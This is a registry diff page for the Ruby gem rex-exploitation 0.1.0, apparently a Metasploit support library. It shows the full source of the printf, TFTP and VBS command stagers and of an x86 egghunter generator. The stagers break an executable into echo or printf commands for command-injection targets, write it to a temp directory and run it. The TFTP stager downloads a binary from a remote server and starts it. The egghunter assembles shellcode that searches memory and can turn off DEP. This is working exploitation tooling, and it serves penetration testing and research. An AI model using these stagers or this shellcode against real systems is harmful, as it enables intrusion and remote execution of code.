rex-exploitation 0.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (69) hide show
  1. checksums.yaml +7 -0
  2. checksums.yaml.gz.sig +0 -0
  3. data.tar.gz.sig +1 -0
  4. data/.gitignore +9 -0
  5. data/.rspec +2 -0
  6. data/.travis.yml +5 -0
  7. data/CODE_OF_CONDUCT.md +74 -0
  8. data/Gemfile +4 -0
  9. data/README.md +33 -0
  10. data/Rakefile +6 -0
  11. data/bin/console +14 -0
  12. data/bin/setup +8 -0
  13. data/data/exploits/cmdstager/debug_asm +91 -0
  14. data/data/exploits/cmdstager/debug_write +819 -0
  15. data/data/exploits/cmdstager/vbs_b64 +40 -0
  16. data/data/exploits/cmdstager/vbs_b64_adodb +50 -0
  17. data/data/exploits/cmdstager/vbs_b64_noquot +49 -0
  18. data/data/exploits/cmdstager/vbs_b64_sleep +41 -0
  19. data/data/js/detect/ie_addons.js +89 -0
  20. data/data/js/detect/misc_addons.js +157 -0
  21. data/data/js/detect/os.js +831 -0
  22. data/data/js/memory/explib2/lib/explib2.js +426 -0
  23. data/data/js/memory/explib2/payload/drop_exec.js +33 -0
  24. data/data/js/memory/explib2/payload/exec.js +10 -0
  25. data/data/js/memory/heap_spray.js +17 -0
  26. data/data/js/memory/heaplib2.js +192 -0
  27. data/data/js/memory/mstime_malloc.js +31 -0
  28. data/data/js/memory/property_spray.js +38 -0
  29. data/data/js/network/ajax_download.js +18 -0
  30. data/data/js/network/ajax_post.js +18 -0
  31. data/data/js/network/xhr_shim.js +15 -0
  32. data/data/js/utils/base64.js +126 -0
  33. data/data/ropdb/flash.xml +80 -0
  34. data/data/ropdb/hxds.xml +66 -0
  35. data/data/ropdb/java.xml +33 -0
  36. data/data/ropdb/msvcrt.xml +71 -0
  37. data/data/ropdb/reader.xml +132 -0
  38. data/data/ropdb/samba.xml +436 -0
  39. data/data/ropdb/stagefright.xml +225 -0
  40. data/lib/rex/exploitation.rb +7 -0
  41. data/lib/rex/exploitation/cmdstager.rb +11 -0
  42. data/lib/rex/exploitation/cmdstager/base.rb +189 -0
  43. data/lib/rex/exploitation/cmdstager/bourne.rb +118 -0
  44. data/lib/rex/exploitation/cmdstager/certutil.rb +114 -0
  45. data/lib/rex/exploitation/cmdstager/debug_asm.rb +139 -0
  46. data/lib/rex/exploitation/cmdstager/debug_write.rb +133 -0
  47. data/lib/rex/exploitation/cmdstager/echo.rb +166 -0
  48. data/lib/rex/exploitation/cmdstager/printf.rb +121 -0
  49. data/lib/rex/exploitation/cmdstager/tftp.rb +70 -0
  50. data/lib/rex/exploitation/cmdstager/vbs.rb +125 -0
  51. data/lib/rex/exploitation/egghunter.rb +423 -0
  52. data/lib/rex/exploitation/encryptjs.rb +79 -0
  53. data/lib/rex/exploitation/heaplib.js.b64 +331 -0
  54. data/lib/rex/exploitation/heaplib.rb +107 -0
  55. data/lib/rex/exploitation/js.rb +6 -0
  56. data/lib/rex/exploitation/js/detect.rb +70 -0
  57. data/lib/rex/exploitation/js/memory.rb +80 -0
  58. data/lib/rex/exploitation/js/network.rb +83 -0
  59. data/lib/rex/exploitation/js/utils.rb +32 -0
  60. data/lib/rex/exploitation/jsobfu.rb +17 -0
  61. data/lib/rex/exploitation/obfuscatejs.rb +336 -0
  62. data/lib/rex/exploitation/omelet.rb +321 -0
  63. data/lib/rex/exploitation/opcodedb.rb +819 -0
  64. data/lib/rex/exploitation/ropdb.rb +190 -0
  65. data/lib/rex/exploitation/seh.rb +93 -0
  66. data/lib/rex/exploitation/version.rb +5 -0
  67. data/rex-exploitation.gemspec +35 -0
  68. metadata +298 -0
  69. metadata.gz.sig +0 -0
@@ -0,0 +1,121 @@
1
+ # -*- coding: binary -*-
2
+
3
+ require 'rex/text'
4
+ require 'rex/arch'
5
+ require 'shellwords'
6
+
7
+ module Rex
8
+ module Exploitation
9
+
10
+ class CmdStagerPrintf < CmdStagerBase
11
+
12
+ def initialize(exe)
13
+ super
14
+
15
+ @var_elf = Rex::Text.rand_text_alpha(5)
16
+ end
17
+
18
+ #
19
+ # Override to ensure opts[:temp] is a correct *nix path
20
+ #
21
+ def generate(opts = {})
22
+ opts[:temp] = opts[:temp] || '/tmp/'
23
+ opts[:temp].gsub!(/\\/, '/')
24
+ opts[:temp] = opts[:temp].shellescape
25
+ opts[:temp] << '/' if opts[:temp][-1,1] != '/'
26
+ super
27
+ end
28
+
29
+ #
30
+ # Override to set the extra byte count
31
+ #
32
+ def generate_cmds(opts)
33
+ if opts[:noquotes]
34
+ @cmd_start = "printf "
35
+ @cmd_end = ">>#{@tempdir}#{@var_elf}"
36
+ @prefix = '\\\\'
37
+ min_part_size = 5
38
+ else
39
+ @cmd_start = "printf '"
40
+ @cmd_end = "'>>#{@tempdir}#{@var_elf}"
41
+ @prefix = '\\'
42
+ min_part_size = 4
43
+ end
44
+ xtra_len = @cmd_start.length + @cmd_end.length
45
+ opts.merge!({ :extra => xtra_len })
46
+
47
+ if (opts[:linemax] - opts[:extra]) < min_part_size
48
+ raise RuntimeError, "Not enough space for command - #{opts[:extra] + min_part_size} byte required, #{opts[:linemax]} byte available"
49
+ end
50
+
51
+ super
52
+ end
53
+
54
+ #
55
+ # Encode into a "\12\345" octal format that printf understands
56
+ #
57
+ def encode_payload(opts)
58
+ return Rex::Text.to_octal(@exe, @prefix)
59
+ end
60
+
61
+ #
62
+ # Override it to ensure that the octal representation of a byte isn't cut
63
+ #
64
+ def slice_up_payload(encoded, opts)
65
+ encoded_dup = encoded.dup
66
+
67
+ parts = []
68
+ xtra_len = opts[:extra]
69
+ xtra_len ||= 0
70
+ while (encoded_dup.length > 0)
71
+ temp = encoded_dup.slice(0, (opts[:linemax] - xtra_len))
72
+
73
+ # remove the last octal escape if it is imcomplete
74
+ if encoded_dup.length > temp.length and encoded_dup[temp.length, @prefix.length] != @prefix
75
+ pos = temp.rindex('\\')
76
+ pos -= 1 if temp[pos-1] == '\\'
77
+ temp.slice!(pos..temp.length-1)
78
+ end
79
+
80
+ parts << temp
81
+ encoded_dup.slice!(0, temp.length)
82
+ end
83
+
84
+ parts
85
+ end
86
+
87
+ #
88
+ # Combine the parts of the encoded file with the stuff that goes
89
+ # before and after it.
90
+ #
91
+ def parts_to_commands(parts, opts)
92
+ parts.map do |p|
93
+ @cmd_start + p + @cmd_end
94
+ end
95
+ end
96
+
97
+ #
98
+ # Since the binary has been already dropped to disk, just execute and
99
+ # delete it
100
+ #
101
+ def generate_cmds_decoder(opts)
102
+ cmds = []
103
+ # Make it all happen
104
+ cmds << "chmod +x #{@tempdir}#{@var_elf}"
105
+ cmds << "#{@tempdir}#{@var_elf}"
106
+
107
+ # Clean up after unless requested not to..
108
+ unless opts[:nodelete]
109
+ cmds << "rm -f #{@tempdir}#{@var_elf}"
110
+ end
111
+
112
+ return cmds
113
+ end
114
+
115
+ def cmd_concat_operator
116
+ " ; "
117
+ end
118
+
119
+ end
120
+ end
121
+ end
@@ -0,0 +1,70 @@
1
+ # -*- coding: binary -*-
2
+
3
+ require 'rex/text'
4
+ require 'rex/arch'
5
+
6
+ module Rex
7
+ module Exploitation
8
+
9
+ ###
10
+ #
11
+ # This class provides the ability to create a sequence of commands from an executable.
12
+ # When this sequence is ran via command injection or a shell, the resulting exe will
13
+ # be written to disk and executed.
14
+ #
15
+ # This particular version uses tftp.exe to download a binary from the specified
16
+ # server. The original file is preserve, not encoded at all, and so this version
17
+ # is significantly simpler than other methods.
18
+ #
19
+ # Requires: tftp.exe, outbound udp connectivity to a tftp server
20
+ #
21
+ # Written by Joshua J. Drake
22
+ #
23
+ ###
24
+
25
+ class CmdStagerTFTP < CmdStagerBase
26
+
27
+ def initialize(exe)
28
+ super
29
+ @payload_exe = Rex::Text.rand_text_alpha(8) + ".exe"
30
+ end
31
+
32
+ def setup(mod)
33
+ self.tftp = Rex::Proto::TFTP::Server.new
34
+ self.tftp.register_file(Rex::Text.rand_text_alphanumeric(8), exe)
35
+ self.tftp.start
36
+ mod.add_socket(self.tftp) # Hating myself for doing it... but it's just a first demo
37
+ end
38
+
39
+ def teardown(mod = nil)
40
+ self.tftp.stop
41
+ end
42
+
43
+ #
44
+ # We override compress commands just to stick in a few extra commands
45
+ # last second..
46
+ #
47
+ def compress_commands(cmds, opts)
48
+ # Initiate the download
49
+ cmds << "tftp -i #{opts[:tftphost]} GET #{opts[:transid]} #{@tempdir + @payload_exe}"
50
+
51
+ # Make it all happen
52
+ cmds << "start #{@tempdir + @payload_exe}"
53
+
54
+ # Clean up after unless requested not to..
55
+ if (not opts[:nodelete])
56
+ # XXX: We won't be able to delete the payload while it is running..
57
+ end
58
+
59
+ super
60
+ end
61
+
62
+ # NOTE: We don't use a concatenation operator here since we only have a couple commands.
63
+ # There really isn't any need to combine them. Also, the ms01_026 exploit depends on
64
+ # the start command being issued separately so that it can ignore it :)
65
+ attr_reader :exe
66
+ attr_reader :payload_exe
67
+ attr_accessor :tftp
68
+ end
69
+ end
70
+ end
@@ -0,0 +1,125 @@
1
+ # -*- coding: binary -*-
2
+
3
+ require 'rex/text'
4
+ require 'rex/arch'
5
+
6
+ module Rex
7
+ module Exploitation
8
+
9
+ ###
10
+ #
11
+ # This class provides the ability to create a sequence of commands from an executable.
12
+ # When this sequence is ran via command injection or a shell, the resulting exe will
13
+ # be written to disk and executed.
14
+ #
15
+ # This particular version uses Windows Scripting (VBS) to base64 decode a file,
16
+ # created via echo >>, and decode it to the final binary.
17
+ #
18
+ # Requires: Windows Scripting
19
+ # Known Issue: errors with non-ascii-native systems
20
+ #
21
+ # Written by bannedit
22
+ #
23
+ ###
24
+
25
+ class CmdStagerVBS < CmdStagerBase
26
+
27
+ def initialize(exe)
28
+ super
29
+
30
+ @var_decoder = Rex::Text.rand_text_alpha(5)
31
+ @var_encoded = Rex::Text.rand_text_alpha(5)
32
+ @var_decoded = Rex::Text.rand_text_alpha(5)
33
+ @decoder = nil # filled in later
34
+ end
35
+
36
+
37
+ #
38
+ # Override just to set the extra byte count
39
+ #
40
+ def generate_cmds(opts)
41
+ # Set the start/end of the commands here (vs initialize) so we have @tempdir
42
+ @cmd_start = "echo "
43
+ @cmd_end = ">>#{@tempdir}#{@var_encoded}.b64"
44
+ xtra_len = @cmd_start.length + @cmd_end.length + 1
45
+ opts.merge!({ :extra => xtra_len })
46
+ super
47
+ end
48
+
49
+
50
+ #
51
+ # Simple base64...
52
+ #
53
+ def encode_payload(opts)
54
+ Rex::Text.encode_base64(@exe)
55
+ end
56
+
57
+
58
+ #
59
+ # Combine the parts of the encoded file with the stuff that goes
60
+ # before / after it.
61
+ #
62
+ def parts_to_commands(parts, opts)
63
+
64
+ cmds = []
65
+ parts.each do |p|
66
+ cmd = ''
67
+ cmd << @cmd_start
68
+ cmd << p
69
+ cmd << @cmd_end
70
+ cmds << cmd
71
+ end
72
+
73
+ cmds
74
+ end
75
+
76
+
77
+ #
78
+ # Generate the commands that will decode the file we just created
79
+ #
80
+ def generate_cmds_decoder(opts)
81
+
82
+ # Allow decoder stub override (needs to input base64 and output bin)
83
+ @decoder = opts[:decoder] if (opts[:decoder])
84
+
85
+ # Read the decoder data file
86
+ f = File.new(@decoder, "rb")
87
+ decoder = f.read(f.stat.size)
88
+ f.close
89
+
90
+ # Replace variables
91
+ decoder.gsub!(/decode_stub/, "#{@tempdir}#{@var_decoder}.vbs")
92
+ decoder.gsub!(/ENCODED/, "#{@tempdir}#{@var_encoded}.b64")
93
+ decoder.gsub!(/DECODED/, "#{@tempdir}#{@var_decoded}.exe")
94
+
95
+ # Split it apart by the lines
96
+ decoder.split("\n")
97
+ end
98
+
99
+
100
+ #
101
+ # We override compress commands just to stick in a few extra commands
102
+ # last second..
103
+ #
104
+ def compress_commands(cmds, opts)
105
+ # Make it all happen
106
+ cmds << "cscript //nologo #{@tempdir}#{@var_decoder}.vbs"
107
+
108
+ # Clean up after unless requested not to..
109
+ if (not opts[:nodelete])
110
+ cmds << "del #{@tempdir}#{@var_decoder}.vbs"
111
+ cmds << "del #{@tempdir}#{@var_encoded}.b64"
112
+ # NOTE: We won't be able to delete the exe while it's in use.
113
+ end
114
+
115
+ super
116
+ end
117
+
118
+ # Windows uses & to concat strings
119
+ def cmd_concat_operator
120
+ " & "
121
+ end
122
+
123
+ end
124
+ end
125
+ end
@@ -0,0 +1,423 @@
1
+ # -*- coding: binary -*-
2
+ require 'rex/text'
3
+ require 'rex/arch'
4
+ require 'metasm'
5
+
6
+ module Rex
7
+ module Exploitation
8
+
9
+ ###
10
+ #
11
+ # This class provides an interface to generating egghunters. Egghunters are
12
+ # used to search process address space for a known byte sequence. This is
13
+ # useful in situations where there is limited room for a payload when an
14
+ # overflow occurs, but it's possible to stick a larger payload somewhere else
15
+ # in memory that may not be directly predictable.
16
+ #
17
+ # Original implementation by skape
18
+ # (See http://www.hick.org/code/skape/papers/egghunt-shellcode.pdf)
19
+ #
20
+ # Checksum checking implemented by dijital1/corelanc0d3r
21
+ # Checksum code merged to Egghunter by jduck
22
+ # Conversion to use Metasm by jduck
23
+ # Startreg code added by corelanc0d3r
24
+ # Added routine to disable DEP for discovered egg (for win, added by corelanc0d3r)
25
+ # Added support for searchforward option (true or false)
26
+ #
27
+ ###
28
+ class Egghunter
29
+
30
+ ###
31
+ #
32
+ # Windows-based egghunters
33
+ #
34
+ ###
35
+ module Windows
36
+ Alias = "win"
37
+
38
+ module X86
39
+ Alias = ARCH_X86
40
+
41
+ #
42
+ # The egg hunter stub for win/x86.
43
+ #
44
+ def hunter_stub(payload, badchars = '', opts = {})
45
+
46
+ startreg = opts[:startreg]
47
+ searchforward = opts[:searchforward]
48
+
49
+ raise RuntimeError, "Invalid egg string! Need 4 bytes." if opts[:eggtag].length != 4
50
+ marker = "0x%x" % opts[:eggtag].unpack('V').first
51
+
52
+ checksum = checksum_stub(payload, badchars, opts)
53
+
54
+ startstub = ''
55
+ if startreg
56
+ if startreg.downcase != 'edx'
57
+ startstub = "\n\tmov edx,#{startreg}\n\tjmp next_addr"
58
+ else
59
+ startstub = "\n\tjmp next_addr"
60
+ end
61
+ end
62
+ startstub << "\n\t" if startstub.length > 0
63
+
64
+ # search forward or backward ?
65
+ flippage = "\n\tor dx,0xfff"
66
+ edxdirection = "\n\tinc edx"
67
+
68
+ if searchforward.to_s.downcase == 'false'
69
+ # go backwards
70
+ flippage = "\n\txor dl,dl"
71
+ edxdirection = "\n\tdec edx"
72
+ end
73
+
74
+ # other vars
75
+ getpointer = ''
76
+ getsize = ''
77
+ getalloctype = ''
78
+ getpc = ''
79
+ jmppayload = "jmp edi"
80
+
81
+ apireg = opts[:depreg] || 'esi'
82
+ apidest = opts[:depdest]
83
+ depsize = opts[:depsize]
84
+
85
+ freeregs = [ "esi", "ebp", "ecx", "ebx" ]
86
+
87
+ reginfo = {
88
+ "ebx"=>["bx","bl","bh"],
89
+ "ecx"=>["cx","cl","ch"]
90
+ }
91
+
92
+ if opts[:depmethod]
93
+
94
+ if freeregs.index(apireg) == nil
95
+ getpointer << "mov #{freeregs[0]},#{apireg}\n\t"
96
+ apireg = freeregs[0]
97
+ end
98
+ freeregs.delete(apireg)
99
+
100
+ if opts[:depmethod].downcase == "virtualalloc"
101
+ depsize = 0xfff
102
+ end
103
+
104
+ if opts[:depmethod].downcase == "copy" || opts[:depmethod].downcase == "copy_size"
105
+ if apidest
106
+ if freeregs.index(apidest) == nil
107
+ getpointer << "mov #{freeregs[0]},#{apidest}\n\t"
108
+ apidest = freeregs[0]
109
+ end
110
+ else
111
+ getpc = "fldpi\n\tfstenv [esp-0xc]\n\tpop #{freeregs[0]}\n\t"
112
+ apidest = freeregs[0]
113
+ end
114
+ freeregs.delete(apidest)
115
+ end
116
+
117
+
118
+ sizereg = freeregs[0]
119
+
120
+ if not depsize
121
+ depsize = payload.length * 2
122
+ if opts[:depmethod]
123
+ if opts[:depmethod].downcase == "copy_size"
124
+ depsize = payload.length
125
+ end
126
+ end
127
+ end
128
+
129
+ if depsize <= 127
130
+ getsize << "push 0x%02x\n\t" % depsize
131
+ else
132
+ sizebytes = "%04x" % depsize
133
+ low = sizebytes[2,4]
134
+ high = sizebytes[0,2]
135
+ if sizereg == "ecx" || sizereg == "ebx"
136
+ regvars = reginfo[sizereg]
137
+ getsize << "xor #{sizereg},#{sizereg}\n\t"
138
+ if low != "00" and high != "00"
139
+ getsize << "mov #{regvars[0]},0x%s\n\t" % sizebytes
140
+ elsif low != "00"
141
+ getsize << "mov #{regvars[1]},0x%s\n\t" % low
142
+ elsif high != "00"
143
+ getsize << "mov #{regvars[2]},0x%s\n\t" % high
144
+ end
145
+ end
146
+ if sizereg == "ebp"
147
+ if low != "00" and high != "00"
148
+ getsize << "xor #{sizereg},#{sizereg}\n\t"
149
+ getsize << "mov bp,0x%s\n\t" % sizebytes
150
+ end
151
+ end
152
+ # last resort
153
+ if getsize == ''
154
+ blockcnt = 0
155
+ vpsize = 0
156
+ blocksize = depsize
157
+ while blocksize > 127
158
+ blocksize = blocksize / 2
159
+ blockcnt += 1
160
+ end
161
+ getsize << "xor #{sizereg},#{sizereg}\n\tadd #{sizereg},0x%02x\n\t" % blocksize
162
+ vpsize = blocksize
163
+ depblockcnt = 0
164
+ while depblockcnt < blockcnt
165
+ getsize << "add #{sizereg},#{sizereg}\n\t"
166
+ vpsize += vpsize
167
+ depblockcnt += 1
168
+ end
169
+ delta = depsize - vpsize
170
+ if delta > 0
171
+ getsize << "add #{sizereg},0x%02x\n\t" % delta
172
+ end
173
+ end
174
+ if opts[:depmethod].downcase == "virtualalloc"
175
+ getsize << "inc #{sizereg}\n\t"
176
+ end
177
+
178
+ getsize << "push #{sizereg}\n\t"
179
+
180
+ end
181
+
182
+ getalloctype = getsize
183
+
184
+ case opts[:depmethod].downcase
185
+ when "virtualprotect"
186
+ jmppayload = "push esp\n\tpush 0x40\n\t"
187
+ jmppayload << getsize
188
+ jmppayload << "push edi\n\tpush edi\n\tpush #{apireg}\n\tret"
189
+ when "virtualalloc"
190
+ jmppayload = "push 0x40\n\t"
191
+ jmppayload << getalloctype
192
+ jmppayload << "push 0x01\n\t"
193
+ jmppayload << "push edi\n\tpush edi\n\tpush #{apireg}\n\tret"
194
+ when "copy"
195
+ jmppayload = getpc
196
+ jmppayload << "push edi\n\tpush #{apidest}\n\tpush #{apidest}\n\tpush #{apireg}\n\tmov edi,#{apidest}\n\tret"
197
+ when "copy_size"
198
+ jmppayload = getpc
199
+ jmppayload << getsize
200
+ jmppayload << "push edi\n\tpush #{apidest}\n\tpush #{apidest}\n\tpush #{apireg}\n\tmov edi,#{apidest}\n\tret"
201
+ end
202
+ end
203
+
204
+ jmppayload << "\n" if jmppayload.length > 0
205
+
206
+ assembly = <<EOS
207
+ #{getpointer}
208
+ #{startstub}
209
+ check_readable:
210
+ #{flippage}
211
+ next_addr:
212
+ #{edxdirection}
213
+ push edx
214
+ push 0x02 ; use NtAccessCheckAndAuditAlarm syscall
215
+ pop eax
216
+ int 0x2e
217
+ cmp al,5
218
+ pop edx
219
+ je check_readable
220
+ check_for_tag:
221
+ ; check that the tag matches once
222
+ mov eax,#{marker}
223
+ mov edi,edx
224
+ scasd
225
+ jne next_addr
226
+ ; it must match a second time too
227
+ scasd
228
+ jne next_addr
229
+ ; check the checksum if the feature is enabled
230
+ #{checksum}
231
+ ; jump to the payload
232
+ #{jmppayload}
233
+ EOS
234
+
235
+ assembled_code = Metasm::Shellcode.assemble(Metasm::Ia32.new, assembly).encode_string
236
+
237
+ # return the stub
238
+ assembled_code
239
+ end
240
+
241
+ end
242
+ end
243
+
244
+ ###
245
+ #
246
+ # Linux-based egghunters
247
+ #
248
+ ###
249
+ module Linux
250
+ Alias = "linux"
251
+
252
+ module X86
253
+ Alias = ARCH_X86
254
+
255
+ #
256
+ # The egg hunter stub for linux/x86.
257
+ #
258
+ def hunter_stub(payload, badchars = '', opts = {})
259
+
260
+ startreg = opts[:startreg]
261
+
262
+ raise RuntimeError, "Invalid egg string! Need #{esize} bytes." if opts[:eggtag].length != 4
263
+ marker = "0x%x" % opts[:eggtag].unpack('V').first
264
+
265
+ checksum = checksum_stub(payload, badchars, opts)
266
+
267
+ startstub = ''
268
+ if startreg
269
+ if startreg.downcase != 'ecx'
270
+ startstub = "\n\tmov ecx,#{startreg}\n\tjmp next_addr"
271
+ else
272
+ startstub = "\n\tjmp next_addr"
273
+ end
274
+ end
275
+ startstub << "\n\t" if startstub.length > 0
276
+
277
+ assembly = <<EOS
278
+ cld
279
+ #{startstub}
280
+ check_readable:
281
+ or cx,0xfff
282
+ next_addr:
283
+ inc ecx
284
+ push 0x43 ; use 'sigaction' syscall
285
+ pop eax
286
+ int 0x80
287
+ cmp al,0xf2
288
+ je check_readable
289
+
290
+ check_for_tag:
291
+ ; check that the tag matches once
292
+ mov eax,#{marker}
293
+ mov edi,ecx
294
+ scasd
295
+ jne next_addr
296
+ ; it must match a second time too
297
+ scasd
298
+ jne next_addr
299
+
300
+ ; check the checksum if the feature is enabled
301
+ #{checksum}
302
+
303
+ ; jump to the payload
304
+ jmp edi
305
+ EOS
306
+
307
+ assembled_code = Metasm::Shellcode.assemble(Metasm::Ia32.new, assembly).encode_string
308
+
309
+ # return the stub
310
+ assembled_code
311
+ end
312
+
313
+ end
314
+ end
315
+
316
+ ###
317
+ #
318
+ # Generic interface
319
+ #
320
+ ###
321
+
322
+ #
323
+ # Creates a new egghunter instance and acquires the sub-class that should
324
+ # be used for generating the stub based on the supplied platform and
325
+ # architecture.
326
+ #
327
+ def initialize(platform, arch = nil)
328
+ Egghunter.constants.each { |c|
329
+ mod = self.class.const_get(c)
330
+
331
+ next if ((!mod.kind_of?(::Module)) or
332
+ (!mod.const_defined?('Alias')))
333
+
334
+ if (platform =~ /#{mod.const_get('Alias')}/i)
335
+ self.extend(mod)
336
+
337
+ if (arch and mod)
338
+ mod.constants.each { |a|
339
+ amod = mod.const_get(a)
340
+
341
+ next if ((!amod.kind_of?(::Module)) or
342
+ (!amod.const_defined?('Alias')))
343
+
344
+ if (arch =~ /#{mod.const_get(a).const_get('Alias')}/i)
345
+ amod = mod.const_get(a)
346
+
347
+ self.extend(amod)
348
+ end
349
+ }
350
+ end
351
+ end
352
+ }
353
+ end
354
+
355
+ #
356
+ # This method generates an egghunter using the derived hunter stub.
357
+ #
358
+ def generate(payload, badchars = '', opts = {})
359
+ # set defaults if options are missing
360
+
361
+ # NOTE: there is no guarantee this won't exist in memory, even when doubled.
362
+ # To address this, use the checksum feature :)
363
+ opts[:eggtag] ||= Rex::Text.rand_text(4, badchars)
364
+
365
+ # Generate the hunter_stub portion
366
+ return nil if ((hunter = hunter_stub(payload, badchars, opts)) == nil)
367
+
368
+ # Generate the marker bits to be prefixed to the real payload
369
+ egg = ''
370
+ egg << opts[:eggtag] * 2
371
+ egg << payload
372
+ if opts[:checksum]
373
+ cksum = 0
374
+ payload.each_byte { |b|
375
+ cksum += b
376
+ }
377
+ egg << [cksum & 0xff].pack('C')
378
+ end
379
+
380
+ return [ hunter, egg ]
381
+ end
382
+
383
+ protected
384
+
385
+ #
386
+ # Stub method that is meant to be overridden. It returns the raw stub that
387
+ # should be used as the egghunter.
388
+ #
389
+ def hunter_stub(payload, badchars = '', opts = {})
390
+ end
391
+
392
+ def checksum_stub(payload, badchars = '', opts = {})
393
+ return '' if not opts[:checksum]
394
+
395
+ if payload.length < 0x100
396
+ cmp_reg = "cl"
397
+ elsif payload.length < 0x10000
398
+ cmp_reg = "cx"
399
+ else
400
+ raise RuntimeError, "Payload too big!"
401
+ end
402
+ egg_size = "0x%x" % payload.length
403
+
404
+ checksum = <<EOS
405
+ push ecx
406
+ xor ecx,ecx
407
+ xor eax,eax
408
+ calc_chksum_loop:
409
+ add al,byte [edi+ecx]
410
+ inc ecx
411
+ cmp #{cmp_reg},#{egg_size}
412
+ jnz calc_chksum_loop
413
+ test_chksum:
414
+ cmp al,byte [edi+ecx]
415
+ pop ecx
416
+ jnz next_addr
417
+ EOS
418
+ end
419
+
420
+ end
421
+
422
+ end
423
+ end